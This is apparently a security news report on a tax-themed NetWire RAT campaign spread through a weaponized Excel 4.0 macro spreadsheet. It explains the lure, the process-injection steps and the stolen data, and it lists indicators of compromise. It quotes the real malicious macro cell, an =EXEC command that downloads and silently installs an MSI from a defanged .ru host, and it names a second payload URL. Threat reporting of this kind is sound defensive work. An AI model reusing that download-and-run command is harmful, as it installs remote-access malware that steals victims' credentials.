Hackers Attack Taxpayers Computers Using Netwire RAT via Weaponized Microsoft Excel 4.0

With tax season upon us, Researchers from FortiGuard Labs observed that a new NetWire RAT is spreading in wild using legacy MS Excel 4.0 named “1040 W2 IRS letter.xls” to perform keylogger functions such as capturing screenshots, collecting credentials and so on from victim machines.

In the past, Many NetWire RAT campaigns primarily target verticals like financial services, businesses, and educational institutions. 

It is a multiplatform RAT typically delivered via malspam attachments that contain Microsoft Office files with embedded executables.

It has emerged in the wild from 2012 onwards with improved remote access features and is commercially available in the dark web.

Netwire RAT campaigns

This is the first time, Researchers observed NetWire RAT being spread in an Excel file using an Excel 4.0 Macro. Excel 4.0 was introduced in 1992, contained an early version of Macro Excel 4.0 macros (also called XLM macros ) predate VBA macros, it works as composed of functions placed inside cells of a macro sheet.

Excel 4.0 macros are still supported in the most recent Microsoft Office versions including office 2019 utilized for the offensive purpose by cyber threats.

Tax-Themed campaign via Excel 4.0 Macro

The captured Excel file is called, “1040 W2 IRS letter.xls”. With obfuscated IRS forms in background lures victims to click the “Enable Content” button to show the clear forms, which enables the malicious Excel 4.0 Macro to be executed.

Sample image shows that sheet “Macro1” is visible and the content of cell number “$A$9591” is “=EXEC(“powershell msiexe” & B7578 & ” /q /i http[:]//binexeupload[.]ru/unmodifiedness[.]msi”)” as it’s not obfuscated .

“=EXEC” is a built-in Macro function that can be called to execute a local program with parameters. “B7578” is for reading out a value from cell “$B$7578”, whose value is empty. Therefore, the Excel 4.0 Macro will execute the program “powershell.exe” with the parameter followed, which will download an MSI file named ““unmodifiedness.msi” from a web site and then execute it using the Windows program “msiexe.exe”.

When it starts, it transfers malicious codes into the sub-process “ieinstal.exe” and executes there. It then transfers the malicious code into a newly created memory space in “ieinstal.exe”.

Finally, it modifies the “ieinstal.exe” entry point to the transferred malicious code by calling API ZwSetContextThread(), and then resumes running after calling the API ZwResumeThread().

Next, it will download an encrypted bin file from its download server, http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin. 

It then decrypts the bin file to get another PE file, which is the payload of a new NetWire variant. It then puts the PE file into the memory starting at offset 0x400000 to replace the existing data of “ieinstal.exe”

NetWire RAT collects the data such as current system time, the variant host-ID, the victim’s login user, the computer name, capture a screenshot of the victim’s screen into JPEG and so on. It has improved its feature that collects credentials from the victim’s.

Indicators of compromise (IOC):

http[:]//binexeupload[.]ru/unmodifiedness[.]msi
http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin

10A82C441E89A4E2815D1E5006AACF3CF57F414D1B99A893E7A34A37108A1A52
92DD50388595C86C0A87639A566B9E44D636621CFF94180EDD59AA28AC169BDA